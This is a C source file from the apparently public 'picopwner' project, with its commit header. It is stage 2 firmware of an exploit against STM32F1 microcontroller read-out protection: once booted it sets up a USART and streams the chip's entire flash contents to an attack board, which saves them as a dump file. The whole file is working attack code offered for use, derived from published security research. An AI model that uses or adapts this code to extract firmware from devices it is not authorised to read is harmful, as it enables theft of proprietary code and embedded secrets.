Files
stm32f1-picopwner/target/main.c
Patrick Pedersen c3fa8bada4 Target: Only use USART TX
RX is not required for our implementation since we've completely dropped the rootshell in
favour of straight up UART vomiting.

Signed-off-by: Patrick Pedersen <ctx.xda@gmail.com>
2024-02-20 20:21:18 +01:00

230 lines
4.9 KiB
C

/*
* Authors: JohannesObermaier, Patrick Pedersen
*
* Stage 2 of the exploit target firmware
* This part dumps the contents of the flash memory
* and sends it over UART, where it is then received
* by the attack board and lastly sent over USB serial
* to create a dump file.
*
* Targer Firmware Version: 1.3
*
* This code is a trimmed down version of the original
* root shell code published here:
* https://github.com/JohannesObermaier/f103-analysis/tree/master/h3
* It removes the root shell functionality and goes straight
* to dumping once booted. It also fixes the dump endianness
* and allows you to choose on which USART peripheral to dump.
*
* To select the USART, provide either of the following defines when compiling:
* -D USE_USART1
* -D USE_USART2
* -D USE_USART3
*
*/
#include <stdint.h>
const char DUMP_START_MAGIC[] = {0x10, 0xAD, 0xDA, 0x7A};
//// Special Registers
#define AIRCR (*(uint32_t *)0xE000ED0Cu)
#define FLASH_SIZE_REG (*(uint32_t *)0x1FFFF7E0u) // Flash size register, RM0008, page 1076:
//// Peripheral registers
// RCC
#define RCC_APB1ENR (*(uint32_t *)0x4002101Cu)
#define RCC_APB2ENR (*(uint32_t *)0x40021018u)
// GPIO
typedef struct __attribute__((packed))
{
uint32_t CRL;
uint32_t CRH;
uint32_t IDR;
uint32_t ODR;
uint32_t BSRR;
uint32_t BRR;
uint32_t LCKR;
} GPIO;
#define GPIOA ((GPIO *)0x40010800u)
#define GPIOB ((GPIO *)0x40010C00u)
#define PIN_CONFIG_ALT_PUSH_PULL 0xB
#define PIN_CONFIG_INPUT_PULL_UP 0x8
// USART
typedef struct __attribute__((packed))
{
uint32_t SR;
uint32_t DR;
uint32_t BRR;
uint32_t CR1;
uint32_t CR2;
uint32_t CR3;
uint32_t GTPR;
} USART;
#define USART1 ((USART *)0x40013800u)
#define USART2 ((USART *)0x40004400u)
#define USART3 ((USART *)0x40004800u)
#define USARTDIV 0x00000341u // 9600 baud @ 8Mhz
#define USART_CR1_MSK 0x00002008u // 8-bit, no parity, enable TX
volatile USART *usart;
/* Intializes USART1
* Returns the USART1 control register */
USART *init_usart1()
{
/* Enable Clocks */
RCC_APB2ENR |= (1 << 2); // Input-Output Port A clock enable
RCC_APB2ENR |= (1 << 14); // USART1 clock enable
/* Configure Pins */
// Set PA9 (TX) to alternate function push-pull
GPIOA->CRH &= ~(0xF << 4);
GPIOA->CRH |= (PIN_CONFIG_ALT_PUSH_PULL << 4);
/* Configure and enable USART1 */
USART1->BRR = USARTDIV;
USART1->CR1 = USART_CR1_MSK;
return USART1;
}
/* Intializes USART2
* Returns the USART2 control register */
USART *init_usart2()
{
/* Enable Clocks */
RCC_APB2ENR |= (1 << 2); // Input-Output Port A clock enable
RCC_APB1ENR |= (1 << 17); // USART2 clock enable
/* Configure Pins */
// Set PA2 (TX) to alternate function push-pull
GPIOA->CRL &= ~(0xF << 8);
GPIOA->CRL |= (PIN_CONFIG_ALT_PUSH_PULL << 8);
/* Configure and enable USART2 */
USART2->BRR = USARTDIV;
USART2->CR1 = USART_CR1_MSK;
return USART2;
}
/* Intializes USART3
* Returns the USART3 control register */
USART *init_usart3()
{
/* Enable Clocks */
RCC_APB2ENR |= (1 << 3); // Input-Output Port B clock enable
RCC_APB1ENR |= (1 << 18); // USART3 clock enable
// Set PB10 (TX) to alternate function push-pull
GPIOB->CRH &= ~(0xF << 8);
GPIOB->CRH |= (PIN_CONFIG_ALT_PUSH_PULL << 8);
/* Configure and enable USART3 */
USART3->BRR = USARTDIV;
USART3->CR1 = USART_CR1_MSK;
return USART3;
}
//// Printing
const uint8_t txtMap[] = "0123456789ABCDEF";
// Writes character to USART
void writeChar(uint8_t const chr)
{
while (!(usart->SR & 0x80u))
{
/* wait */
}
usart->DR = chr;
}
// Writes byte to USART
void writeByte(uint8_t b)
{
writeChar(txtMap[b >> 4]);
writeChar(txtMap[b & 0x0F]);
}
// Writes word to USART
void writeWord(uint32_t const word)
{
writeChar((word & 0x000000FF));
writeChar((word & 0x0000FF00) >> 8);
writeChar((word & 0x00FF0000) >> 16);
writeChar((word & 0xFF000000) >> 24);
}
// Writes string to USART
void writeStr(uint8_t const *const str)
{
uint32_t ind = 0u;
while (str[ind])
{
writeChar(str[ind]);
++ind;
}
}
//// Exception handling
/* Handles memory management faults
* Typically indicates that the exploit failed */
void alertCrash(uint32_t crashId)
{
writeStr("!!! EXCEPTION !!!\r\nID: ");
writeByte(crashId);
writeStr("\r\nRestart required!\r\n\r\n");
AIRCR = 0x05FA0004u;
while (1)
;
}
//// Main
/* Stage 2 entry point */
int main(void)
{
/* Init USART */
#if defined(USE_USART1)
usart = init_usart1();
#elif defined(USE_USART2)
usart = init_usart2();
#elif defined(USE_USART3)
usart = init_usart3();
#else
#error "No USART selected"
#endif
uint32_t flash_size = FLASH_SIZE_REG & 0xFFFF;
if (flash_size == 64) // Force reading of the entire 128KB flash in 64KB devices, often used.
flash_size = 128;
/* Print start magic to inform the attack board that
we are going to dump */
for (uint32_t i = 0; i < sizeof(DUMP_START_MAGIC); i++)
{
writeChar(DUMP_START_MAGIC[i]);
}
uint32_t const *addr = (uint32_t *)0x08000000;
while (((uintptr_t)addr) < (0x08000000U + (flash_size * 1024U)))
{
writeWord(*addr);
++addr;
}
}